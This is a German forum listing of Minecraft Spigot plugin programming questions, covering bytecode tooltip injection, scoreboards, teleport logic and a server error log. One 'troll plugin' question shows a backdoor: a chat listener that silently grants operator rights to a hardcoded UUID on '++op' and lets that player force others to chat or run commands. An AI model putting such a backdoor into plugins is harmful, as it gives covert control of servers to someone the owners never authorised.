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Frage
von nofedi
27.09.2022, 13:18
java lambda format umformulieren?

Hallo,

ich würde gerne wissen wie es möglich ist den folgenden code von lambda zu java 6 code umwandeln kann?

        if(name.equals(itemStackName) || transformedName.equals(itemStackName)) {
            node.methods.stream().filter(methodNode -> methodNode.name.equals(getTooltipName) && methodNode.desc.equals(getTooltipDesc)).findFirst()
            .ifPresent(methodNode -> {
            	InsnList list = new InsnList();
                String onTooltipDesc = "(L"+itemStackName.replace(".", "/")+";L"+entityPlayerName.replace(".", "/")+";Ljava/util/List;Z)V";
                list.add(new VarInsnNode(Opcodes.ALOAD, 0));
                list.add(new VarInsnNode(Opcodes.ALOAD, 1));
                list.add(new VarInsnNode(Opcodes.ALOAD, 3));
                list.add(new VarInsnNode(Opcodes.ILOAD, 2));
                                methodNode.instructions.insert(methodNode.instructions.getLast().getPrevious().getPrevious(), list);
            });
        }

Also von z.b. von Runnable r = ()-> System.out.print("Run method")

zu

Runnable r = new Runnable() {

@Override

public void run() {

System.out.print("Run method")

}

}

Ich würde gerne wissen wie das möglich ist. Also wie die if Abfrage von ganz oben ohne "->" aussehen würde.

Mit freundlichen Grüßen

Java, Minecraft, Eclipse, Minecraft Server, Bukkit, Lambda, Spigot
2 Antworten
Frage
von RubinBonBon8833
11.09.2022, 20:51
Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin
1 Antwort
Frage
von FunimLeben
16.05.2022, 18:23
Frage wurde 1 Mal erneut gestellt
Mit Bildern
Spigot Tablist wird nicht richtig gesetzt?

Ich habe langsam keine Ahnung mehr was ich noch tun soll.

package game.squid.utils;

import org.bukkit.Bukkit;

import org.bukkit.ChatColor;

import org.bukkit.entity.Player;

import org.bukkit.scoreboard.Scoreboard;

import squid.game.games.BlockGame;

public class ScoreboardManager{

public static void registerScoreboard(Player p) {

for(Player all : Bukkit.getOnlinePlayers()) {

Scoreboard board = Bukkit.getScoreboardManager().getNewScoreboard();

all.sendMessage("Debug1");

org.bukkit.scoreboard.Team teamBlue = board.registerNewTeam("TeamBlue");

org.bukkit.scoreboard.Team teamRed = board.registerNewTeam("TeamRed");

org.bukkit.scoreboard.Team teamYellow = board.registerNewTeam("TeamYellow");

org.bukkit.scoreboard.Team teamGreen = board.registerNewTeam("TeamGreen");

all.sendMessage("Debug3");

teamBlue.setPrefix(ChatColor.AQUA.toString() + "§bBLUE ");

teamRed.setPrefix(ChatColor.RED.toString() + "§cRED ");

teamYellow.setPrefix(ChatColor.YELLOW.toString() + "§eYELLOW ");

teamGreen.setPrefix(ChatColor.GREEN.toString() + "§aGREEN ");

all.sendMessage("Debug4");

all.setScoreboard(board);

if(Team.getTeam(p) == BlockGame.blueTeam) {

teamBlue.addEntry(p.getName());

all.sendMessage("Debug5");

continue;

}

if(Team.getTeam(p) == BlockGame.redTeam) {

teamRed.addEntry(p.getName());

all.sendMessage("Debug6");

continue;

} 

if(Team.getTeam(p) == BlockGame.yellowTeam) {

teamYellow.addEntry(p.getName());

all.sendMessage("Debug7");

continue;

}

if(Team.getTeam(p) == BlockGame.greenTeam) {

teamGreen.addEntry(p.getName());

all.sendMessage("Debug8");

continue;

}

}

}

}

Bild zum Beitrag
programmieren, Java, Minecraft, Minecraft Server, Plug-in, Spigot
1 Antwort
Frage
von Jonas465
28.04.2022, 19:54
Wieso funktioniert das Plugin nicht?

Hallo. Ich programmiere gerade ein Plugin. Eigendlich funktioniert es, doch es gibt ein problem. Es solten 2 Spieler an verschiedenen orten Teleportirt werden, doch beide Spieler werden an ein Ort Teleportiert. Hier der Code:

public class TeleportEvent implements Listener {
    public static Bootrennen plugin;

    public TeleportEvent(Bootrennen plugin) {

        TeleportEvent.plugin = plugin;
    }

    public static void start() {
        Location location = plugin.getConfig().getLocation("location.start1");
        Location loc = plugin.getConfig().getLocation("location.start2");
        int i = 1;
        for(Player current : Bukkit.getOnlinePlayers()) {
            Location playerLocation = plugin.getConfig().getLocation("location.start" + i);
            current.teleport(playerLocation);
            if (location != null) {
                if(location.getBlock() != current.getLocation().getBlock()) {
                    i = 1;
                   current.teleport(Objects.requireNonNull(plugin.getConfig().getLocation("location.start1")));
                    Boat bt = (Boat) current.getWorld().spawnEntity(location, EntityType.BOAT);
                    bt.addPassenger(current);
                } else {
                    if (loc != null) {
                       i = 2;
                        current.teleport(Objects.requireNonNull(plugin.getConfig().getLocation("location.start2")));
                        Boat bt = (Boat) current.getWorld().spawnEntity(location, EntityType.BOAT);
                        bt.addPassenger(current);
                      
                       i++;
                    }
                }
            }

        }
    }

    @EventHandler
    public void onExit(VehicleExitEvent e) {
        Player player = (Player) e.getExited();
        if (e.getExited().hasPermission("Operator")) {
            e.setCancelled(false);
        } else {
            player.sendMessage(ChatColor.RED + "Du darfst das nicht!");
            e.setCancelled(true);

        }
    }
}
Computer, Java, Minecraft, Spigot, Minecraft Plugin
2 Antworten
Frage
von mprex
08.07.2021, 16:30
Fehler wenn ich auf Spigot 1.8.8 Server joine?

Hi. Ich komme nicht auf meinen Spigot 1.8.8 Server. Immer wenn ich versuche zu joinen kommt unendlich lange diese Meldung ganz schnell wiederholt in der Konsole:

[16:25:56 WARN]: An exceptionCaught() event was fired, and it reached at the tail of the pipeline. It usually means the last handler in the pipeline did not handle the exception.
java.lang.RuntimeException: Unable to access address of buffer
        at io.netty.channel.epoll.Native.read(Native Method) ~[spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe.doReadBytes(EpollSocketChannel.java:678) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe.epollInReady(EpollSocketChannel.java:714) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe$3.run(EpollSocketChannel.java:755) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:380) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollEventLoop.run(EpollEventLoop.java:268) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at java.base/java.lang.Thread.run(Thread.java:831) [?:?]

Ich habe kein einziges Plugin auf dem Server und seit dem ersten Start nichts verändert. Und ja ich bin auch gewhitelisted und so...

Server, Computer, Java, Minecraft, Minecraft Server, Bukkit, craftbukkit, Spigot, minecraft 1.8, Spiele und Gaming
2 Antworten

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